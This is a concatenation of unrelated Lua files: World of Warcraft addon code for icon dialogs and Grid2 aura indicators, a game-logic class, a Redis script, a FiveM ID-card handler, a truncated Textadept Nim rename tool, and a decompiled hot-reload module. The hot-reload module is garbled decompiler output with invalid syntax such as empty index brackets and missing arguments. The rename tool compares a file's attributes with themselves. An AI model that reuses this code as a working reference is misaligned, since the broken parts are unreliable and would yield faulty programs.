local function SetGearManagerDialog()
NUM_GEARSET_ICONS_PER_ROW = 5;
NUM_GEARSET_ICON_ROWS = 12;
NUM_GEARSET_ICONS_SHOWN = NUM_GEARSET_ICONS_PER_ROW * NUM_GEARSET_ICON_ROWS
local width = (GEARSET_ICON_ROW_HEIGHT + 8) * NUM_GEARSET_ICONS_PER_ROW + 77
local height = (GEARSET_ICON_ROW_HEIGHT + 8) * NUM_GEARSET_ICON_ROWS + 122
GearManagerDialogPopup:SetWidth(width)
GearManagerDialogPopup:SetHeight(height)
local scroll_width = width - 1
local scroll_height = height - 103
GearManagerDialogPopupScrollFrame:SetWidth(scroll_width)
GearManagerDialogPopupScrollFrame:SetHeight(scroll_height)
for i, region in ipairs({GearManagerDialogPopup:GetRegions()}) do
if region:IsObjectType("Texture") then
--print(region:GetTexture())
if region:GetTexture() == BL_TEXTURE then
--print("BL_TEXTURE found")
region:ClearAllPoints()
region:SetPoint("BOTTOMLEFT", GearManagerDialogPopup, "BOTTOMLEFT", 0, -22)
elseif region:GetTexture() == BR_TEXTURE then
--print("BR_TEXTURE found")
region:ClearAllPoints()
region:SetPoint("BOTTOMRIGHT", GearManagerDialogPopup, "BOTTOMRIGHT", 23, -22)
end
end
end
if scroll_height > 151 then
CreateTex(tex_scroll, GearManagerDialogPopupScrollFrame, SCROLL_BAR_FNAME, "BACKGROUND", 30, scroll_height - 151, "LEFT", GearManagerDialogPopupScrollFrame, "RIGHT", -3, 0):SetTexCoord(0, 0.46875, 0.2, 0.9609375)
CreateTex(tex_bkg_left, GearManagerDialogPopup, BKG_LEFT_FNAME, "BACKGROUND", 256, scroll_height - 151, "TOPLEFT", GearManagerDialogPopup, "TOPLEFT", 0, -212):SetTexCoord(0, 1, 0.5, 1)
CreateTex(tex_bkg_right, GearManagerDialogPopup, BKG_RIGHT_FNAME, "BACKGROUND", 64, scroll_height - 151, "TOPRIGHT", GearManagerDialogPopup, "TOPRIGHT", 23, -212):SetTexCoord(0, 1, 0.5, 1)
else
if tex_scroll then
tex_scroll:Hide()
end
if tex_bkg_left then
tex_bkg_left: Hide()
end
if tex_bkg_right then
tex_bkg_right: Hide()
end
end
GearManagerDialogPopup_OnLoad(GearManagerDialogPopup)
RecalculateGearManagerDialogPopup()
end
local function SetMacroDialog()
--print("OnShow MacroPopupFrame hook func")
NUM_ICONS_PER_ROW = 5;
NUM_ICON_ROWS = 12;
NUM_MACRO_ICONS_SHOWN = NUM_ICONS_PER_ROW * NUM_ICON_ROWS
local width = (MACRO_ICON_ROW_HEIGHT + 8) * NUM_ICONS_PER_ROW + 77
local height = (MACRO_ICON_ROW_HEIGHT + 8) * NUM_ICON_ROWS + 122
MacroPopupFrame:SetWidth(width)
MacroPopupFrame:SetHeight(height)
local scroll_width = width - 1
local scroll_height = height - 103
MacroPopupScrollFrame:SetWidth(scroll_width)
MacroPopupScrollFrame:SetHeight(scroll_height)
for i, region in ipairs({MacroPopupFrame:GetRegions()}) do
if region:IsObjectType("Texture") then
--print(region:GetTexture())
if region:GetTexture() == BL_TEXTURE then
--print("BL_TEXTURE found")
region:ClearAllPoints()
region:SetPoint("BOTTOMLEFT", MacroPopupFrame, "BOTTOMLEFT", 0, -22)
elseif region:GetTexture() == BR_TEXTURE then
--print("BR_TEXTURE found")
region:ClearAllPoints()
region:SetPoint("BOTTOMRIGHT", MacroPopupFrame, "BOTTOMRIGHT", 23, -22)
end
end
end
if scroll_height > 151 then
CreateTex(tex_scroll, MacroPopupScrollFrame, SCROLL_BAR_FNAME, "BACKGROUND", 30, scroll_height - 151, "LEFT", MacroPopupScrollFrame, "RIGHT", -3, 0):SetTexCoord(0, 0.46875, 0.2, 0.9609375)
CreateTex(tex_bkg_left, MacroPopupFrame, BKG_LEFT_FNAME, "BACKGROUND", 256, scroll_height - 151, "TOPLEFT", MacroPopupFrame, "TOPLEFT", 0, -212):SetTexCoord(0, 1, 0.5, 1)
CreateTex(tex_bkg_right, MacroPopupFrame, BKG_RIGHT_FNAME, "BACKGROUND", 64, scroll_height - 151, "TOPRIGHT", MacroPopupFrame, "TOPRIGHT", 23, -212):SetTexCoord(0, 1, 0.5, 1)
else
if tex_scroll then
tex_scroll:Hide()
end
if tex_bkg_left then
tex_bkg_left: Hide()
end
if tex_bkg_right then
tex_bkg_right: Hide()
end
end
local buttons = {}
local NUM_MACRO_ICONS_DEFAULT = 20
for i = 1, NUM_MACRO_ICONS_DEFAULT do
local button = _G["MacroPopupButton"..i]
tinsert(buttons, button)
end
local lastPos
for i = 21, NUM_MACRO_ICONS_SHOWN do
local button = _G["MacroPopupButton"..i]
if not(button) then
button = CreateFrame("CheckButton", "MacroPopupButton" .. i, MacroPopupFrame, "MacroPopupButtonTemplate")
button:SetID(i)
end
lastPos = (i - 1) / NUM_ICONS_PER_ROW
if ( lastPos == math.floor(lastPos) ) then
button:SetPoint("TOPLEFT", buttons[i - NUM_ICONS_PER_ROW], "BOTTOMLEFT", 0, -8)
else
button:SetPoint("TOPLEFT", buttons[i - 1], "TOPRIGHT", 10, 0)
end
tinsert(buttons, button)
end
MacroPopupFrame_OnShow(MacroPopupFrame)
end
local MacroFrameHookIsSet
local function SetHookFunc()
hooksecurefunc(GearManagerDialogPopup, "Show", SetGearManagerDialog)
hooksecurefunc("MacroFrame_LoadUI", function()
--print("OnShow MacroFrame hook func")
if not(MacroFrameHookIsSet) then
hooksecurefunc(MacroPopupFrame, "Show", SetMacroDialog)
MacroFrameHookIsSet = true
end
end)
end
local function OnEvent(self, event, ...)
if event == "ADDON_LOADED" then
local addon = ...
if ( addon == nil ) then
return
end
if ( addon == "GearManagerMoreIcons" ) then
EventFrame:UnregisterEvent("ADDON_LOADED")
--print("loading GearManagerMoreIcons")
SetHookFunc()
end
end
end
EventFrame:RegisterEvent("ADDON_LOADED")
EventFrame:SetScript("OnEvent", OnEvent)
|
function slot1()
return FileTool.GetCurrentDirectiory() .. "\\"
end
function slot2(slot0)
if slot0:gsub("/", "\\"):find(":") == nil then
slot0 = slot0() .. slot0
end
if slot0:sub(#slot0, ) == "\\" then
slot0 = slot0:sub(1, slot1 - 1)
end
slot2 = {}
for slot6 in slot0:gmatch("[^\\]+") do
if slot6 == ".." and #slot2 ~= 0 then
table.remove(slot2)
elseif slot6 ~= "." then
table.insert(slot2, slot6)
end
end
return table.concat(slot2, "\\")
end
return {
FailNotify = function (...)
if slot0.NotifyFunc then
slot0.NotifyFunc(...)
end
end,
DebugNofity = function (...)
if slot0.DebugNofityFunc then
slot0.DebugNofityFunc(...)
end
end,
InitFileMap = function (slot0)
for slot4, slot5 in pairs(slot0) do
slot1.NotifyFunc("root path: " .. slot5)
print("count " .. FileTool.GetAllFiles(slot5).Count)
for slot10 = 0, FileTool.GetAllFiles(slot5).Count - 1, 1 do
if string.match(slot6:get_Item(slot10), ".*\\(.[_a-zA-Z][_a-zA-Z0-9]*)%.lua") ~= nil then
if slot1.FileMap[slot12] == nil then
slot1.FileMap[slot12] = {}
end
slot1.LuaPathToSysPath[string.gsub(string.sub(slot11, #slot5 + 2, #slot11 - 4), "\\", ".")] = SysPath
table.insert(slot1.FileMap[slot12], {
SysPath = slot11,
LuaPath = string.gsub(string.sub(slot11, #slot5 + 2, #slot11 - 4), "\\", ".")
})
end
end
slot1.NotifyFunc("load module count: " .. table.getn(slot1.FileMap))
end
end,
InitFakeTable = function ()
slot0.Meta = {
__index = function (slot0, slot1)
if slot1 == "setmetatable" then
return slot0
elseif slot1 == "pairs" or slot1 == "ipairs" then
return slot1
elseif slot1 == "next" then
return slot2
elseif slot1 == "require" then
return slot3
else
rawset(slot0, slot1, slot4())
return slot4()
end
end,
__newindex = function (slot0, slot1, slot2)
rawset(slot0, slot1, slot2)
end,
__call = function ()
slot0 = slot0()
return slot0, slot0(), slot0()
end,
__add = function ()
return slot0.__call()
end,
__sub = function ()
return slot0.__call()
end,
__mul = function ()
return slot0.__call()
end,
__div = function ()
return slot0.__call()
end,
__mod = function ()
return slot0.__call()
end,
__pow = function ()
return slot0.__call()
end,
__unm = function ()
return slot0.__call()
end,
__concat = function ()
return slot0.__call()
end,
__eq = function ()
return slot0.__call()
end,
__lt = function ()
return slot0.__call()
end,
__le = function ()
return slot0.__call()
end,
__len = function ()
return slot0.__call()
end
}
function slot2()
return
end
function slot3()
return slot0
end
function slot4(slot0, slot1)
slot0.MetaMap[slot0] = slot1
return slot0
end
function slot5(slot0)
if not slot0.RequireMap[slot0] then
slot0.RequireMap[slot0] = slot1()
end
return slot0.RequireMap[slot0]
end
return function ()
return setmetatable({}, setmetatable)
end
end,
InitProtection = function ()
slot0.Protection = {
[setmetatable] = true
}
slot0.Protection.Protection[pairs] = true
slot0.Protection.Protection.Protection[ipairs] = true
slot0.Protection.Protection.Protection.Protection[next] = true
slot0.Protection.Protection.Protection.Protection.Protection[require] = true
slot0.Protection.Protection.Protection.Protection.Protection.Protection[] = true
slot0.Protection.Protection.Protection.Protection.Protection.Protection.Protection[slot0.Meta] = true
slot0.Protection.Protection.Protection.Protection.Protection.Protection.Protection.Protection[math] = true
slot0.Protection.Protection.Protection.Protection.Protection.Protection.Protection.Protection.Protection[string] = true
slot0.Protection.Protection.Protection.Protection.Protection.Protection.Protection.Protection.Protection.Protection[table] = true
end,
AddFileFromHUList = function ()
package.loaded[slot0.UpdateListFile] = nil
slot0 = require(slot0.UpdateListFile)
slot0.ALL = false
slot0.HUMap = {}
for slot4, slot5 in pairs(slot0) do
if slot5 == "_ALL_" then
slot0.ALL = true
for slot9, slot10 in pairs(slot0.FileMap) do
for slot14, slot15 in pairs(slot10) do
slot0.HUMap[slot15.LuaPath] = slot15.SysPath
end
end
return
end
if slot0.FileMap[slot5] then
for slot9, slot10 in pairs(slot0.FileMap[slot5]) do
slot0.HUMap[slot10.LuaPath] = slot10.SysPath
end
else
slot0.FailNotify("HotUpdate can't not find " .. slot5)
end
end
end,
ErrorHandle = function (slot0)
slot0.FailNotify("HotUpdate Error\n" .. tostring(slot0))
slot0.ErrorHappen = true
end,
BuildNewCode = function (slot0, slot1)
io.input(slot0)
slot2 = io.read("*all")
if slot0.ALL and slot0.OldCode[slot0] == nil then
slot0.OldCode[slot0] = slot2
io.input():close()
return
end
if slot0.OldCode[slot0] == slot2 then
io.input():close()
return false
end
io.input():close()
io.input(slot0)
io.input():close()
if not loadstring("--[[" .. slot1 .. "]] " .. slot2) then
slot0.FailNotify(slot0 .. " has syntax error.")
collectgarbage("collect")
return false
else
slot0.FakeENV = slot0.FakeT()
slot0.MetaMap = {}
slot0.RequireMap = {}
setfenv(slot4, slot0.FakeENV)
slot5 = nil
slot0.ErrorHappen = false
xpcall(function ()
slot0 = slot1()
end, slot0.ErrorHandle)
if not slot0.ErrorHappen then
slot0.OldCode[slot0] = slot2
return true, slot5
else
collectgarbage("collect")
return false
end
end
end,
Travel_G = function ()
function slot1(slot0)
if (type(slot0) ~= "function" and type(slot0) ~= "table") or slot0[slot0] or slot1.Protection[slot0] then
return
end
slot0[slot0] = true
if type(slot0) == "function" then
for slot4 = 1, math.huge, 1 do
slot5, slot6 = debug.getupvalue(slot0, slot4)
if not slot5 then
break
end
if type(slot6) == "function" then
for slot10, slot11 in ipairs(slot1.ChangedFuncList) do
if slot6 == slot11[1] then
debug.setupvalue(slot0, slot4, slot11[2])
end
end
end
slot2(slot6)
end
elseif type(slot0) == "table" then
slot2(debug.getmetatable(slot0))
slot1 = {}
for slot5, slot6 in pairs(slot0) do
slot2(slot5)
slot2(slot6)
if type(slot6) == "function" then
for slot10, slot11 in ipairs(slot1.ChangedFuncList) do
if slot6 == slot11[1] then
slot0[slot5] = slot11[2]
end
end
end
if type(slot5) == "function" then
for slot10, slot11 in ipairs(slot1.ChangedFuncList) do
if slot5 == slot11[1] then
slot1[#slot1 + 1] = slot10
end
end
end
end
for slot5, slot6 in ipairs(slot1) do
slot0[slot1.ChangedFuncList[slot6][2]] = slot0[slot1.ChangedFuncList[slot6][1]]
slot0[slot1.ChangedFuncList[slot6][1]] = nil
end
end
end
slot1(_G)
slot2 = debug.getregistry()
for slot6, slot7 in ipairs(slot0.ChangedFuncList) do
for slot11, slot12 in pairs(slot2) do
if slot12 == slot7[1] then
slot2[slot11] = slot7[2]
end
end
end
for slot6, slot7 in ipairs(slot0.ChangedFuncList) do
if slot7[3] == "HUDebug" then
slot7[4]:HUDebug()
end
end
end,
ReplaceOld = function (slot0, slot1, slot2, slot3, slot4)
if type(slot0) == type(slot1) then
if type(slot1) == "table" then
slot0:UpdateAllFunction(slot1, slot2, slot3, "")
elseif type(slot1) == "function" then
slot0:UpdateOneFunction(slot1, slot2, nil, slot3, "")
end
end
end,
HotUpdateCode = function (slot0, slot1)
if package.loaded[slot0] ~= nil then
slot0.VisitedSig = {}
slot0.ChangedFuncList = {}
slot3, slot4 = slot0.BuildNewCode(slot1, slot0)
if slot3 then
slot0.NotifyFunc("update module " .. slot0)
slot0.ReplaceOld(slot2, slot4, slot0, "Main", "")
for slot8, slot9 in pairs(slot0.RequireMap) do
slot0.ReplaceOld(package.loaded[slot8], slot9, slot8, "Main_require", "")
end
setmetatable(slot0.FakeENV, nil)
slot0.UpdateAllFunction(slot0.ENV, slot0.FakeENV, " ENV ", "Main", "")
if #slot0.ChangedFuncList > 0 then
slot0.Travel_G()
end
collectgarbage("collect")
end
elseif slot0.OldCode[slot1] == nil then
io.input(slot1)
slot0.OldCode[slot1] = io.read("*all")
io.input():close()
end
end,
ResetENV = function (slot0, slot1, slot2, slot3)
slot4 = {}
function slot5(slot0, slot1)
if not slot0 or slot0[slot0] then
return
end
slot0[slot0] = true
if type(slot0) == "function" then
slot1.DebugNofity(slot2 .. "HU.ResetENV", slot1, " from:" .. slot2 .. "HU.ResetENV")
xpcall(function ()
setfenv(setfenv, slot1.ENV)
end, slot1.FailNotify)
elseif type(slot0) == "table" then
slot1.DebugNofity(slot2 .. "HU.ResetENV", slot1, " from:" .. slot2 .. "HU.ResetENV")
for slot5, slot6 in pairs(slot0) do
slot4(slot5, tostring(slot5) .. "__key", " HU.ResetENV ", slot2 .. " ")
slot4(slot6, tostring(slot5), " HU.ResetENV ", slot2 .. " ")
end
end
end
slot5(slot0, slot1)
end,
UpdateUpvalue = function (slot0, slot1, slot2, slot3, slot4)
slot0.DebugNofity(slot4 .. "HU.UpdateUpvalue", slot2, " from:" .. slot3)
slot5 = {}
slot6 = {}
for slot10 = 1, math.huge, 1 do
slot11, slot12 = debug.getupvalue(slot0, slot10)
if not slot11 then
break
end
slot5[slot11] = slot12
slot6[slot11] = true
end
for slot10 = 1, math.huge, 1 do
slot11, slot12 = debug.getupvalue(slot1, slot10)
if not slot11 then
break
end
if slot6[slot11] then
if type(slot13) ~= type(slot12) then
debug.setupvalue(slot1, slot10, slot13)
elseif type(slot13) == "function" then
slot0.UpdateOneFunction(slot13, slot12, slot11, nil, "HU.UpdateUpvalue", slot4 .. " ")
elseif type(slot13) == "table" then
slot0.UpdateAllFunction(slot13, slot12, slot11, "HU.UpdateUpvalue", slot4 .. " ")
debug.setupvalue(slot1, slot10, slot13)
else
debug.setupvalue(slot1, slot10, slot13)
end
else
slot0.ResetENV(slot12, slot11, "HU.UpdateUpvalue", slot4 .. " ")
end
end
end,
UpdateOneFunction = function (slot0, slot1, slot2, slot3, slot4, slot5)
if slot0.Protection[slot0] or slot0.Protection[slot1] then
return
end
if slot0 == slot1 then
return
end
if slot0.VisitedSig[tostring(slot0) .. tostring(slot1)] then
return
end
slot0.VisitedSig[slot6] = true
slot0.DebugNofity(slot5 .. "HU.UpdateOneFunction " .. slot2 .. " from:" .. slot4)
if pcall(debug.setfenv, slot1, getfenv(slot0)) then
slot0:UpdateUpvalue(slot1, slot2, "HU.UpdateOneFunction", slot5 .. " ")
slot0.ChangedFuncList[#slot0.ChangedFuncList + 1] = {
slot0,
slot1,
slot2,
slot3
}
end
end,
UpdateAllFunction = function (slot0, slot1, slot2, slot3, slot4)
if slot0.Protection[slot0] or slot0.Protection[slot1] then
return
end
if slot0 == slot1 then
return
end
if slot0.VisitedSig[tostring(slot0) .. tostring(slot1)] then
return
end
slot0.VisitedSig[slot5] = true
slot0.DebugNofity(slot4 .. "HU.UpdateAllFunction " .. slot2 .. " from:" .. slot3)
for slot9, slot10 in pairs(slot1) do
if type(slot10) == type(slot0[slot9]) then
if type(slot10) == "function" then
slot0.UpdateOneFunction(slot11, slot10, slot9, slot0, "HU.UpdateAllFunction", slot4 .. " ")
elseif type(slot10) == "table" then
slot0.UpdateAllFunction(slot11, slot10, slot9, "HU.UpdateAllFunction", slot4 .. " ")
end
elseif slot11 == nil and type(slot10) == "function" and pcall(setfenv, slot10, slot0.ENV) then
slot0[slot9] = slot10
end
end
slot7 = slot0.MetaMap[slot1]
if type(debug.getmetatable(slot0)) == "table" and type(slot7) == "table" then
slot0.UpdateAllFunction(slot6, slot7, slot2 .. "'s Meta", "HU.UpdateAllFunction", slot4 .. " ")
end
end,
Init = function (slot0, slot1, slot2, slot3)
slot0.UpdateListFile = slot0
slot0.HUMap = {}
slot0.FileMap = {}
slot0.NotifyFunc = slot2
slot0.OldCode = {}
slot0.ChangedFuncList = {}
slot0.VisitedSig = {}
slot0.FakeENV = nil
slot0.ENV = slot3 or _G
slot0.LuaPathToSysPath = {}
slot0.InitFileMap(slot1)
slot0.FakeT = slot0.InitFakeTable()
slot0.InitProtection()
slot0.ALL = false
end,
Update = function ()
slot0.AddFileFromHUList()
for slot3, slot4 in pairs(slot0.HUMap) do
slot0.HotUpdateCode(slot3, slot4)
end
end
}
|
---
-- gameplay_logic.lua
local class = require "middleclass"
local FSM = require "fsm"
local GetNewActionState = require "logic.gameplay.states.get_new_action_state"
local OwnerTypes = require "repositories.teams.enums.owner_types"
local GameplayLogic = class("GameplayLogic")
function GameplayLogic:initialize(data)
if not data.navigator then
error("GameplayLogic:initialize(): no data.navigator argument!")
end
if not data.map_repository then
error("GameplayLogic:initialize(): no data.map_repository argument!")
end
if not data.map_settings_repository then
error("GameplayLogic:initialize(): no data.map_settings_repository argument!")
end
if not data.units_repository then
error("GameplayLogic:initialize(): no data.units_repository argument!")
end
if not data.teams_repository then
error("GameplayLogic:initialize(): no data.teams_repository argument!")
end
if not data.scenario_repository then
error("GameplayLogic:initialize(): no data.scenario_repository argument!")
end
if not data.view_context then
error("GameplayLogic:initialize(): no data.view_context argument!")
end
self.navigator = data.navigator
self.map_repository = data.map_repository
self.map_settings_repository = data.map_settings_repository
self.units_repository = data.units_repository
self.scenario_repository = data.scenario_repository
self.teams_repository = data.teams_repository
self.view_context = data.view_context
self.fsm = FSM(self)
self.states = {
get_new_action = GetNewActionState({
teams_repository = self.teams_repository,
scenario_repository = self.scenario_repository,
map_repository = self.map_repository,
units_repository = self.units_repository,
logic = self
})
}
self.team_handler = nil
self.view_context:update_map()
self.view_context:update_units()
end
function GameplayLogic:get_full_map_size()
local map_x, map_y = self.map_repository:get_size()
local tile_size = self.map_settings_repository:get_tile_size()
return map_x * tile_size, map_y * tile_size
end
function GameplayLogic:execute_command(command)
command:set_owner(self)
command:execute()
end
function GameplayLogic:is_current_team_owner(owner_type)
local team_name = self.scenario_repository:get_current_phase()
local team = self.teams_repository:get_team(team_name)
return team:get_owner() == owner_type
end
function GameplayLogic:process_click(x, y)
self.fsm:get_current_state():process_click(self, x, y)
end
function GameplayLogic:update()
self.fsm:update()
end
function GameplayLogic:get_fsm()
return self.fsm
end
function GameplayLogic:get_states()
return self.states
end
function GameplayLogic:get_team_handler()
return self.team_handler
end
function GameplayLogic:set_team_handler(handler)
self.team_handler = handler
end
function GameplayLogic:get_view_context()
return self.view_context
end
return GameplayLogic
|
-- Aura Icons indicator
local Grid2 = Grid2
local min = min
local wipe = wipe
local pairs = pairs
local ipairs = ipairs
local format = string.format
local function Icon_Create(self, parent)
local f = self:CreateFrame("Frame", parent)
f.myIndicator = self
f.myFrame = parent
f.auras = f.auras or {}
f.visibleCount = 0
end
-- Warning: This is an overrided indicator:Update() NOT the standard indicator:OnUpdate()
local function Icon_OnFrameUpdate(f)
local unit = f.myFrame.unit
if not unit then return end
local self = f.myIndicator
local max = self.maxIcons
local auras = f.auras
local showStack = self.showStack
local showCool = self.showCooldown
local useStatus = self.useStatusColor
local i = 1
for _, status in ipairs(self.statuses) do
if status:IsActive(unit) then
if status.GetIcons then
local k, textures, counts, expirations, durations, colors = status:GetIcons(unit,max)
for j=1,k do
local aura = auras[i]
aura.icon:SetTexture(textures[j])
if showStack then
local count = counts[j]
aura.text:SetText(count>1 and count or "")
end
if showCool then
local expiration, duration = expirations[j], durations[j]
aura.cooldown:SetCooldown(expiration - duration, duration)
end
if useStatus then
local c = colors[j]
aura:SetBackdropBorderColor(c.r,c.g,c.b, min(c.a,self.borderOpacity) )
end
aura:Show()
i = i + 1
end
max = max - k
else
local aura = auras[i]
aura.icon:SetTexture(status:GetIcon(unit))
aura.icon:SetTexCoord(status:GetTexCoord(unit))
aura.icon:SetVertexColor(status:GetVertexColor(unit))
if showStack then
local count = status:GetCount(unit)
aura.text:SetText(count>1 and count or "")
end
if showCool then
local expiration, duration = status:GetExpirationTime(unit) or 0, status:GetDuration(unit) or 0
aura.cooldown:SetCooldown(expiration - duration, duration)
end
if useStatus then
local r,g,b,a = status:GetColor(unit)
aura:SetBackdropBorderColor(r,g,b, min(a,self.borderOpacity) )
end
aura:Show()
i = i + 1
max = max - 1
end
if max<=0 then break end
end
end
for j=i,f.visibleCount do
auras[j]:Hide()
end
f.visibleCount = i-1
f:SetShown(i>1)
end
-- Delayed updates
local updates = {}
local EnableDelayedUpdates = function()
CreateFrame("Frame", nil, Grid2LayoutFrame):SetScript("OnUpdate", function()
for i=1,#updates do
Icon_OnFrameUpdate(updates[i])
end
wipe(updates)
end)
EnableDelayedUpdates = Grid2.Dummy
end
local function Icon_Update(self, parent)
updates[#updates+1] = parent[self.name]
end
local function Icon_Layout(self, parent)
local f = parent[self.name]
local x,y = 0,0
local ux,uy = self.ux,self.uy
local vx,vy = self.vx,self.vy
local size = self.iconTotSize
local borderSize = self.borderSize
local frameName
if not self.dbx.disableOmniCC then
local i,j = parent:GetName():match("Grid2LayoutHeader(%d+)UnitButton(%d+)")
frameName = format( "Grid2Icons%s%02d%02d", self.name:gsub("%-","") , i, j )
end
f:SetParent(parent)
f:ClearAllPoints()
f:SetPoint(self.anchor, parent.container, self.anchorRel, self.offsetx, self.offsety)
f:SetFrameLevel(parent:GetFrameLevel() + self.frameLevel)
f:SetSize( self.width, self.height )
local auras = f.auras
for i=1,self.maxIcons do
local frame = auras[i]
if not frame then
frame = CreateFrame("Frame", nil, f)
frame.icon = frame:CreateTexture(nil, "ARTWORK")
frame.text = frame:CreateFontString(nil, "OVERLAY")
frame.cooldown = CreateFrame("Cooldown", frameName and frameName..i or nil, frame, "CooldownFrameTemplate")
frame.cooldown:SetHideCountdownNumbers(true)
auras[i] = frame
end
frame:SetSize( self.iconSize, self.iconSize )
-- frame container
Grid2:SetFrameBackdrop(frame, self.backdrop)
if borderSize>0 then
local c = self.colorBorder
frame:SetBackdropBorderColor(c.r,c.g,c.b,c.a)
end
frame:ClearAllPoints()
frame:SetPoint( self.anchorIcon, f, self.anchorIcon, (x*ux+y*vx)*size, (x*uy+y*vy)*size )
-- stack count text
if self.showStack then
local text = frame.text
text:SetFontObject(GameFontHighlightSmall)
text:SetFont(self.font, self.fontSize, self.fontFlags )
local c = self.colorStack
text:SetTextColor(c.r, c.g, c.b, c.a)
text:ClearAllPoints()
text:SetPoint(self.fontPoint, self.fontOffsetX, self.fontOffsetY)
text:Show()
else
frame.text:Hide()
end
-- cooldown animation
if self.showCooldown then
frame.cooldown:SetDrawEdge(self.dbx.disableOmniCC~=nil)
frame.cooldown.noCooldownCount = self.dbx.disableOmniCC
frame.cooldown:SetReverse(self.dbx.reverseCooldown)
frame.cooldown:SetAllPoints()
frame.cooldown:Show()
else
frame.cooldown:Hide()
end
-- icon texture
frame.icon:SetPoint("TOPLEFT", frame ,"TOPLEFT", borderSize, -borderSize)
frame.icon:SetPoint("BOTTOMRIGHT", frame ,"BOTTOMRIGHT", -borderSize, borderSize)
frame.icon:SetTexCoord(0.05, 0.95, 0.05, 0.95)
--
frame:Hide()
x = x + 1
if x>=self.maxIconsPerRow then x = 0; y = y + 1 end
end
end
local function Icon_Disable(self, parent)
local f = parent[self.name]
f:Hide()
f:SetParent(nil)
f:ClearAllPoints()
end
local pointsX = { TOPLEFT = 1, TOPRIGHT = -1, BOTTOMLEFT = 1, BOTTOMRIGHT = -1 }
local pointsY = { TOPLEFT = -1, TOPRIGHT = -1, BOTTOMLEFT = 1, BOTTOMRIGHT = 1 }
local function Icon_UpdateDB(self)
local dbx = self.dbx
local theme = Grid2Frame.db.profile
-- location
local l = dbx.location
self.anchor = l.point
self.anchorRel = l.relPoint
self.offsetx = l.x
self.offsety = l.y
self.anchorIcon = (pointsX[self.anchor] and self.anchor) or (self.anchor=="BOTTOM" and "BOTTOMLEFT") or (self.anchor=="RIGHT" and "TOPRIGHT") or "TOPLEFT"
-- misc variables
self.borderSize = dbx.borderSize or 0
self.orientation = dbx.orientation or "HORIZONTAL"
self.frameLevel = dbx.level or 1
self.iconSize = dbx.iconSize or theme.iconSize or 14
self.iconSpacing = dbx.iconSpacing or 1
self.maxIcons = dbx.maxIcons or 3
self.maxIconsPerRow = dbx.maxIconsPerRow or 3
self.iconTotSize = self.iconSize + self.iconSpacing
local maxRows = math.floor(self.maxIcons/self.maxIconsPerRow) + (self.maxIcons%self.maxIconsPerRow==0 and 0 or 1)
self.uy = 0
self.vx = 0
self.ux = pointsX[self.anchorIcon]
self.vy = pointsY[self.anchorIcon]
self.width = math.abs(self.ux)*self.iconTotSize*self.maxIconsPerRow
self.height = math.abs(self.vy)*self.iconTotSize*maxRows
if self.orientation=="VERTICAL" then
self.ux, self.vx = self.vx, self.ux
self.uy, self.vy = self.vy, self.uy
self.width, self.height = self.height,self.width
end
self.showCooldown = not dbx.disableCooldown
self.showStack = not dbx.disableStack
self.useStatusColor = dbx.useStatusColor
self.borderOpacity = dbx.borderOpacity or 1
self.colorBorder = Grid2:MakeColor(dbx.color1, "WHITE")
self.colorStack = Grid2:MakeColor(dbx.colorStack, "WHITE")
-- stacks text
local jV,jH = dbx.fontJustifyV or 'MIDDLE', dbx.fontJustifyH or 'CENTER'
self.fontPoint = (jV=='MIDDLE' and jH) or (jH=='CENTER' and jV) or jV..jH
self.fontOffsetX = dbx.fontOffsetX or 0
self.fontOffsetY = dbx.fontOffsetY or 0
self.fontFlags = dbx.fontFlags or "OUTLINE"
self.fontSize = dbx.fontSize or 9
self.font = Grid2:MediaFetch("font", dbx.font or theme.font) or STANDARD_TEXT_FONT
-- backdrop
self.backdrop = self.borderSize>0 and Grid2:GetBackdropTable("Interface\\Addons\\Grid2\\media\\white16x16", self.borderSize) or nil
end
Grid2.setupFunc["icons"] = function(indicatorKey, dbx)
local indicator = Grid2.indicators[indicatorKey] or Grid2.indicatorPrototype:new(indicatorKey)
indicator.dbx = dbx
indicator.Create = Icon_Create
indicator.Layout = Icon_Layout
indicator.OnUpdate = Icon_OnUpdate
indicator.Disable = Icon_Disable
indicator.Update = Icon_Update
indicator.UpdateDB = Icon_UpdateDB
Icon_UpdateDB(indicator)
EnableDelayedUpdates()
Grid2:RegisterIndicator(indicator, { "icon", "icons" })
return indicator
end
|
local noOfArgs = KEYS[1]
local interSet = redis.call("sinter", unpack(ARGV))
local allString = ""
for _,key in ipairs(interSet) do
local val = redis.call("HGET", key, "name")
allString = val..', '..allString
end
return allString
|
RegisterNetEvent("caue-idcard:show", function(pInfo)
local src = source
local cid = pInfo["ID"]
local name = pInfo["Nome"] .. " " .. pInfo["Sobrenome"]
local dob = pInfo["Data de Nascimento"]
local gender = pInfo["Sexo"]
local image = MySQL.scalar.await([[
SELECT image
FROM mdt_profiles
WHERE cid = ?
]],
{ cid })
if not image then
image = "https://upload.wikimedia.org/wikipedia/commons/thumb/b/bc/Unknown_person.jpg/434px-Unknown_person.jpg"
end
local coords = GetEntityCoords(GetPlayerPed(src))
local players = exports["caue-infinity"]:GetNerbyPlayers(coords, 5)
for i, v in ipairs(players) do
TriggerClientEvent("caue-idcard:open", v, name, dob, gender, cid, image)
end
end) |
local nimsuggest = require("textadept-nim.nimsuggest")
local _M = {}
local function samefile(fname, sname)
local fstat = lfs.attributes(fname)
local sstat = lfs.attributes(sname)
return fstat.size == sstat.size and
fstat.change == sstat.change and
fstat.access == fstat.access and
fstat.permissions == fstat.permissions and
fstat.modification == fstat.modification and
fstat.dev == fstat.dev
end
_M.spawn_dialog = function()
local position = buffer.current_pos
local token_list = nimsuggest.def_and_use(position)
local usages = ""
for i, v in pairs(token_list) do
if i > 5 then
usages = usages.."And "..tostring(#token_list-i+1).." more...\n"
break
end
usages = usages..v.file.."("..v.line..", "..v.column..")"..
(v.request == "def" and " - Definition" or "").."\n"
end
if #token_list == 0
then
return
end
local current_word = token_list[1].name
local options = {
title = "Smart replace",
informative_text = "Change name in text field and press OK to replace the name"..
" in defenition and all usages of the object across the project.\n"..
"Here is some usages:\n"..usages,
text = current_word,
}
local code, result = ui.dialogs.standard_inputbox(options)
if code == 1 and current_word ~= result then
local external_files = {}
for ii = 1, #token_list do
local i = #token_list - ii + 1
local v = token_list[i]
if samefile(v.file, buffer.filename)
then
local pos = buffer:find_column(v.line - 1, v.column)
local selword = buffer:text_range(pos, pos + #current_word)
if selword:lower() == current_word:lower() and
current_word:sub(1,1) == selword:sub(1,1) then
buffer:delete_range(pos, #current_word)
buffer:insert_text(pos, result)
end
else
if external_files[v.file] == nil then
external_files[v.file] = {}
end
if external_files[v.file][v.line] == nil then
external_files[v.file][v.line] = {}
end
